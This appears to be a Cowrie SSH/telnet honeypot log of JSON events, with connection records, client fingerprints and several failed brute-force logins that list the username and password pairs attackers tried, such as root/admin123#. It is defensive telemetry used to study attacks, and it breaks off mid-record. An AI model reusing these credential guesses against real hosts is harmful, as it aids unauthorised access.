{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:34.454813Z","src_ip":"43.156.97.164","session":"2166dcf00e05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123#","message":"login attempt [root/admin123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:35.443081Z","src_ip":"43.156.97.164","session":"2166dcf00e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:36.684797Z","src_ip":"43.156.97.164","session":"2166dcf00e05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":34479,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b4a3cc66cda","protocol":"ssh","message":"New connection: 14.224.227.189:34479 (159.203.135.109:22) [session: 4b4a3cc66cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:39.684247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:39.689769Z","src_ip":"14.224.227.189","session":"4b4a3cc66cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:39.931894Z","src_ip":"14.224.227.189","session":"4b4a3cc66cda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"asdf","message":"login attempt [test/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:40.916327Z","src_ip":"14.224.227.189","session":"4b4a3cc66cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:42.160884Z","src_ip":"14.224.227.189","session":"4b4a3cc66cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.02754831314087,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:43.923842Z","src_ip":"192.119.13.58","session":"f0ad6e429c8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43592,"dst_ip":"10.17.0.5","dst_port":23,"session":"d895cb69b178","protocol":"telnet","message":"New connection: 192.119.13.58:43592 (10.17.0.5:23) [session: d895cb69b178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:48.773598Z"}
{"eventid":"cowrie.session.closed","duration":4.6819069385528564,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:53.455397Z","src_ip":"192.119.13.58","session":"d895cb69b178","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39652729034424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:55.320132Z","src_ip":"192.119.13.58","session":"deabb8bba887","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39394,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e0fd786589","protocol":"telnet","message":"New connection: 192.119.13.58:39394 (10.17.0.5:23) [session: a3e0fd786589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:02.070225Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.82.246","src_port":50150,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2c24de9a9e9","protocol":"ssh","message":"New connection: 36.26.82.246:50150 (159.203.135.109:22) [session: d2c24de9a9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:02.730366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:02.737550Z","src_ip":"36.26.82.246","session":"d2c24de9a9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:02.970525Z","src_ip":"36.26.82.246","session":"d2c24de9a9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jh@123","message":"login attempt [root/jh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:03.913808Z","src_ip":"36.26.82.246","session":"d2c24de9a9e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:05.153397Z","src_ip":"36.26.82.246","session":"d2c24de9a9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53624,"dst_ip":"10.17.0.5","dst_port":23,"session":"82ccf264a888","protocol":"telnet","message":"New connection: 192.119.13.58:53624 (10.17.0.5:23) [session: 82ccf264a888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:05.803903Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":52498,"dst_ip":"159.203.135.109","dst_port":22,"session":"687a5c22f468","protocol":"ssh","message":"New connection: 41.242.115.83:52498 (159.203.135.109:22) [session: 687a5c22f468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:06.447951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:06.453328Z","src_ip":"41.242.115.83","session":"687a5c22f468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:06.654799Z","src_ip":"41.242.115.83","session":"687a5c22f468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56744,"dst_ip":"10.17.0.5","dst_port":23,"session":"f095aa3d3f3f","protocol":"telnet","message":"New connection: 192.119.13.58:56744 (10.17.0.5:23) [session: f095aa3d3f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:06.662839Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"2091","message":"login attempt [root/2091] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:07.481057Z","src_ip":"41.242.115.83","session":"687a5c22f468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.14793825149536,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:07.579268Z","src_ip":"192.119.13.58","session":"d8c783d572c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:08.680753Z","src_ip":"41.242.115.83","session":"687a5c22f468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":49129,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc046328dcc2","protocol":"telnet","message":"New connection: 186.195.16.41:49129 (159.203.135.109:23) [session: cc046328dcc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:10.112002Z"}
{"eventid":"cowrie.session.closed","duration":0.01416921615600586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:10.126034Z","src_ip":"186.195.16.41","session":"cc046328dcc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44836,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58932d99bcb","protocol":"telnet","message":"New connection: 192.119.13.58:44836 (10.17.0.5:23) [session: d58932d99bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:11.108289Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58368,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b27a132e158","protocol":"telnet","message":"New connection: 192.119.13.58:58368 (10.17.0.5:23) [session: 8b27a132e158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:14.613451Z"}
{"eventid":"cowrie.session.closed","duration":48.4393949508667,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:18.980736Z","src_ip":"192.119.13.58","session":"bf4ca4760548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":48858,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bd7477f0d82","protocol":"ssh","message":"New connection: 147.45.197.250:48858 (159.203.135.109:22) [session: 0bd7477f0d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:39.911561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:39.916688Z","src_ip":"147.45.197.250","session":"0bd7477f0d82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:40.013111Z","src_ip":"147.45.197.250","session":"0bd7477f0d82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789654","message":"login attempt [root/789654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:40.288749Z","src_ip":"147.45.197.250","session":"0bd7477f0d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:41.383684Z","src_ip":"147.45.197.250","session":"0bd7477f0d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.78780698776245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:42.895935Z","src_ip":"192.119.13.58","session":"d58932d99bcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60460,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d8b0396607","protocol":"telnet","message":"New connection: 192.119.13.58:60460 (10.17.0.5:23) [session: 66d8b0396607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:44.199033Z"}
{"eventid":"cowrie.session.closed","duration":43.14104413986206,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:45.211121Z","src_ip":"192.119.13.58","session":"a3e0fd786589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":40228,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ef774f62d76","protocol":"ssh","message":"New connection: 43.156.97.164:40228 (159.203.135.109:22) [session: 8ef774f62d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:51.625399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:51.630144Z","src_ip":"43.156.97.164","session":"8ef774f62d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:51.876424Z","src_ip":"43.156.97.164","session":"8ef774f62d76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"extrim","message":"login attempt [root/extrim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:52.892020Z","src_ip":"43.156.97.164","session":"8ef774f62d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:54.142420Z","src_ip":"43.156.97.164","session":"8ef774f62d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.76270079612732,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:54.566457Z","src_ip":"192.119.13.58","session":"82ccf264a888","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.74811863899231,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:56.361434Z","src_ip":"192.119.13.58","session":"8b27a132e158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.11280131340027,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:12:57.775545Z","src_ip":"192.119.13.58","session":"f095aa3d3f3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41166,"dst_ip":"10.17.0.5","dst_port":23,"session":"b411fa8f3cdc","protocol":"telnet","message":"New connection: 192.119.13.58:41166 (10.17.0.5:23) [session: b411fa8f3cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:15.400989Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.101","src_port":46844,"dst_ip":"10.17.0.5","dst_port":22,"session":"013c0f528337","protocol":"ssh","message":"New connection: 102.129.200.101:46844 (10.17.0.5:22) [session: 013c0f528337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:16.642283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:16.647386Z","src_ip":"102.129.200.101","session":"013c0f528337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast1